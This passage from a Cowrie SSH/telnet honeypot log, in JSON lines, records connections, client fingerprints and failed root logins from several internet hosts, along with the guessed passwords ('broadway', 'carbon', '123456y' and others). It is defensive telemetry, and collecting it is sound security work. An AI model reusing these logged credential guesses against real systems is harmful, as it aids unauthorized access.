mac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:44.007088Z","src_ip":"43.134.184.253","session":"dc572f784118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"patate","message":"login attempt [root/patate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:45.021424Z","src_ip":"43.134.184.253","session":"dc572f784118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.11035084724426,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:46.243840Z","src_ip":"152.42.224.71","session":"2d175f5b940a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:46.271022Z","src_ip":"43.134.184.253","session":"dc572f784118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.47","src_port":48588,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d9d7d7a311c","protocol":"ssh","message":"New connection: 45.153.34.47:48588 (10.17.0.5:22) [session: 8d9d7d7a311c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:46.586003Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:46.592481Z","src_ip":"45.153.34.47","session":"8d9d7d7a311c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.47","src_port":48604,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cf6d428c1f6","protocol":"ssh","message":"New connection: 45.153.34.47:48604 (10.17.0.5:22) [session: 2cf6d428c1f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:46.721998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:46.726585Z","src_ip":"45.153.34.47","session":"2cf6d428c1f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:46.809324Z","src_ip":"45.153.34.47","session":"2cf6d428c1f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:47.097887Z","src_ip":"45.153.34.47","session":"2cf6d428c1f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:48.184736Z","src_ip":"45.153.34.47","session":"2cf6d428c1f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40870,"dst_ip":"10.17.0.5","dst_port":23,"session":"66a17ec8d7bb","protocol":"telnet","message":"New connection: 152.42.224.71:40870 (10.17.0.5:23) [session: 66a17ec8d7bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:52.013587Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40876,"dst_ip":"10.17.0.5","dst_port":23,"session":"c47f403c55dc","protocol":"telnet","message":"New connection: 152.42.224.71:40876 (10.17.0.5:23) [session: c47f403c55dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:52.230610Z"}
{"eventid":"cowrie.session.closed","duration":43.96096181869507,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:11.147771Z","src_ip":"152.42.224.71","session":"bb33aa5941e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":90.20912599563599,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:14.399085Z","src_ip":"152.42.224.71","session":"5ad602ed5879","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.13078999519348,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:15.193805Z","src_ip":"152.42.224.71","session":"69fd49c48035","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.388468027114868,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:19.401927Z","src_ip":"152.42.224.71","session":"66a17ec8d7bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43802,"dst_ip":"10.17.0.5","dst_port":23,"session":"42438e918c4d","protocol":"telnet","message":"New connection: 152.42.224.71:43802 (10.17.0.5:23) [session: 42438e918c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:20.956013Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":51444,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2691a16466b","protocol":"ssh","message":"New connection: 43.173.88.240:51444 (10.17.0.5:22) [session: c2691a16466b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:28.372336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:28.377027Z","src_ip":"43.173.88.240","session":"c2691a16466b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:28.444905Z","src_ip":"43.173.88.240","session":"c2691a16466b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"broadway","message":"login attempt [root/broadway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:28.750173Z","src_ip":"43.173.88.240","session":"c2691a16466b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0019268989563,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:28.781256Z","src_ip":"152.42.224.71","session":"18b928b15eea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:29.821135Z","src_ip":"43.173.88.240","session":"c2691a16466b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":46062,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d0e0b2c6429","protocol":"ssh","message":"New connection: 193.37.70.224:46062 (159.203.135.109:22) [session: 7d0e0b2c6429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:30.311824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:30.321708Z","src_ip":"193.37.70.224","session":"7d0e0b2c6429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:30.414925Z","src_ip":"193.37.70.224","session":"7d0e0b2c6429","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"carbon","message":"login attempt [root/carbon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:30.697494Z","src_ip":"193.37.70.224","session":"7d0e0b2c6429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.301483154296875,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:31.531996Z","src_ip":"152.42.224.71","session":"c47f403c55dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:31.793900Z","src_ip":"193.37.70.224","session":"7d0e0b2c6429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":39536,"dst_ip":"10.17.0.5","dst_port":22,"session":"31b3fd92d73e","protocol":"ssh","message":"New connection: 193.228.128.84:39536 (10.17.0.5:22) [session: 31b3fd92d73e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:34.275912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:34.280228Z","src_ip":"193.228.128.84","session":"31b3fd92d73e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:34.381836Z","src_ip":"193.228.128.84","session":"31b3fd92d73e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456y","message":"login attempt [root/123456y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:34.686776Z","src_ip":"193.228.128.84","session":"31b3fd92d73e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:57:35.792407Z","src_ip":"193.228.128.84","session":"31b3fd92d73e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.128225326538086,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:11.084082Z","src_ip":"152.42.224.71","session":"42438e918c4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":53016,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f67f7d99510","protocol":"ssh","message":"New connection: 43.134.184.253:53016 (10.17.0.5:22) [session: 8f67f7d99510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:14.486015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:14.490726Z","src_ip":"43.134.184.253","session":"8f67f7d99510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:14.736106Z","src_ip":"43.134.184.253","session":"8f67f7d99510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passer","message":"login attempt [root/passer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:15.746876Z","src_ip":"43.134.184.253","session":"8f67f7d99510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:16.996000Z","src_ip":"43.134.184.253","session":"8f67f7d99510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42020,"dst_ip":"10.17.0.5","dst_port":23,"session":"f962734db29c","protocol":"telnet","message":"New connection: 152.42.224.71:42020 (10.17.0.5:23) [session: f962734db29c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:23.948072Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":45892,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a33c79d37c6","protocol":"ssh","message":"New connection: 43.173.88.240:45892 (10.17.0.5:22) [session: 9a33c79d37c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:40.829471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:40.833630Z","src_ip":"43.173.88.240","session":"9a33c79d37c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:40.901329Z","src_ip":"43.173.88.240","session":"9a33c79d37c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elk","message":"login attempt [root/elk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:41.206992Z","src_ip":"43.173.88.240","session":"9a33c79d37c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:42.278229Z","src_ip":"43.173.88.240","session":"9a33c79d37c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.197.163.47","src_port":20666,"dst_ip":"10.17.0.5","dst_port":22,"session":"06c5ad971834","protocol":"ssh","message":"New connection: 204.197.163.47:20666 (10.17.0.5:22) [session: 06c5ad971834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:45.885140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:45.891546Z","src_ip":"204.197.163.47","session":"06c5ad971834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","c